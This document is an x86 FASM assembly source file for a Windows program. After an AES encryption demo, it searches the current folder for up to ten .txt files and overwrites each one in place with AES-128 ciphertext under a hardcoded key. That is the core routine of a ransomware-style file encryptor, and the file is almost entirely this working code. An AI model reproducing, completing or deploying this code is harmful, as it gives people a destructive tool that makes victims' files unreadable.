format PE CONSOLE 4.0
entry start

include 'include/win32a.inc'
include 'aes/aes.inc'

TEXTSIZE equ 3*BLOCK_SIZE
FILELIMIT equ 10

section '.text' code readable executable

  start:
    stdcall encAES, TEXTSIZE, clear_msg, enc_msg, key128
    stdcall decAES, TEXTSIZE, enc_msg, dec_msg, key128

    ;stdcall encAES, TEXTSIZE, clear_msg, enc_msg, key192
    ;stdcall decAES, TEXTSIZE, enc_msg, dec_msg, key192

    ;stdcall encAES, TEXTSIZE, clear_msg, enc_msg, key256
    ;stdcall decAES, TEXTSIZE, enc_msg, dec_msg, key256

    invoke GetStdHandle, -11
    mov    [stdout], eax
    ;invoke WriteConsole, [stdout], dec_msg, TEXTSIZE, 0, 0
    
    invoke lstrcat, buf, filepath
    call   find_files
    invoke ExitProcess, 0
    
proc    find_files
    locals
        hfind  dd ?
    endl
        invoke FindFirstFile,buf,wfd
        cmp    eax,INVALID_HANDLE_VALUE
        je     exit
        mov    [hfind], eax
check:
        test   [wfd.dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
        jz     found
        jmp    next
found:
        invoke WriteConsole, [stdout], wfd.cFileName, 256, 0, 0
        invoke  CreateFile, wfd.cFileName, GENERIC_READ + GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
        mov     dword [fd], eax
        cmp     eax, INVALID_HANDLE_VALUE
        je      quit
        
redo:
        invoke  SetFilePointer, dword [fd], dword [fileptr], 0, FILE_BEGIN
        cmp     eax, -1         ;INVALID_SET_FILE_POINTER
        je      quit    
        invoke  ReadFile, dword [fd], buffer, TEXTSIZE, len, 0
        test    eax, eax
        jz      quit
        mov     ecx, dword [len]
        test    ecx, ecx
        jz      close
        stdcall encAES, TEXTSIZE, buffer, enc_msg, key128
        invoke  SetFilePointer, dword [fd], dword [fileptr], 0, FILE_BEGIN
        cmp     eax, -1         ;INVALID_SET_FILE_POINTER
        je      quit
        mov     ecx, dword [len]
        add     dword [fileptr], ecx
        invoke  WriteFile, dword [fd], enc_msg, dword [len], 0, 0
        jmp     redo
        
close:
        invoke  CloseHandle, dword [fd]
        
quit:     
        add    [filecount],1
        cmp    [filecount],FILELIMIT
        jae    exit
next:
        invoke FindNextFile,[hfind],wfd
        test   eax,eax
        jne    check
        invoke FindClose, [hfind]
exit:
        ret
endp    

include 'aes/aes.asm'

section '.data' data readable writeable

  buf       rb 256
  filepath  db '.\*.txt',0
  wfd       WIN32_FIND_DATA
  stdout    dd ?
  filecount dw ?
  fd        dd ?
  buffer    rb TEXTSIZE
  len       dd ?
  fileptr   dd ?
  
  clear_msg db 'hello world, this is a secret text',\
	       0x0d, 0x0a, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  enc_msg   rb TEXTSIZE
  dec_msg   rb TEXTSIZE

  key128    db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04,\
	       0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
  key192    db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04,\
	       0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c,\
	       0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
  key256    db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04,\
	       0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c,\
	       0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04,\
	       0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL'

  import kernel,\
	 ExitProcess,'ExitProcess',\
	 WriteConsole, 'WriteConsoleA',\
	 GetStdHandle,'GetStdHandle', \
	 FindFirstFile, 'FindFirstFileA',\
	 FindNextFile, 'FindNextFileA',\
	 FindClose, 'FindClose',\
     CreateFile, 'CreateFileA', \
     ReadFile, 'ReadFile', \
     WriteFile, 'WriteFile', \
     GetLastError, 'GetLastError', \
     SetFilePointer, 'SetFilePointer',\
     CloseHandle, 'CloseHandle',\
     lstrcat,'lstrcatA'
